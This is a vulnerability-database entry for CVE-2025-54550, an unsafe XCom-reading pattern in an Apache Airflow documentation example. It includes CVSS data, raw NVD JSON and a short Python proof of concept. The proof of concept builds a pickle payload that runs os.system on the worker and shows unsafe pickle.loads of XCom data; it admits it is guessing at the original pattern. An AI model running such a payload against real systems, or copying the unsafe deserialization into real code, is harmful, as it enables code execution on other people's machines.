Security Vulnerability Report
中文
CVE-2025-54550 CVSS 8.1 HIGH

CVE-2025-54550

Published: 2026-04-15 04:17:33
Last Modified: 2026-04-17 18:38:09

Description

The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability. It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case. Users who followed that pattern are advised to adjust their implementations accordingly.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* - VULNERABLE
Apache Airflow < 3.2.0 (文档示例及受影响用户代码)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-54550: Unsafe XCom handling in Airflow # This demonstrates how a malicious XCom value could trigger RCE # if the user implements the unsafe pattern shown in the example docs. import pickle import os # Malicious payload creation (e.g., using pickle) class MaliciousPayload: def __reduce__(self): # Execute command on the worker return (os.system, ('whoami',)) payload = pickle.dumps(MaliciousPayload()) # Simulating the unsafe pattern in a DAG def unsafe_xcom_pull(**context): # WARNING: This is the vulnerable pattern task_instance = context['task_instance'] # Pull data from XCom (potentially injected by attacker via UI) data = task_instance.xcom_pull(task_ids='push_task') # Vulnerable: Processing untrusted data directly # In the example, this might involve unpickling or eval try: # This line represents the unsafe deserialization/logic processed_data = pickle.loads(data) except Exception as e: print(f"Error processing XCom: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54550", "sourceIdentifier": "[email protected]", "published": "2026-04-15T04:17:32.670", "lastModified": "2026-04-17T18:38:08.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value\nfrom xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary\nexecution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.\n\nIt does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however\nusers following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of\nthe example with improved resiliance for that case.\n\nUsers who followed that pattern are advised to adjust their implementations accordingly."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.0", "matchCriteriaId": "98A505A1-464C-4895-A628-9D8BEA1458E4"}]}]}], "references": [{"url": "https://github.com/apache/airflow/pull/63200", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://lists.apache.org/thread/3mf4cfx070ofsnf9qy0s2v5gqb5sc2g1", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/15/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}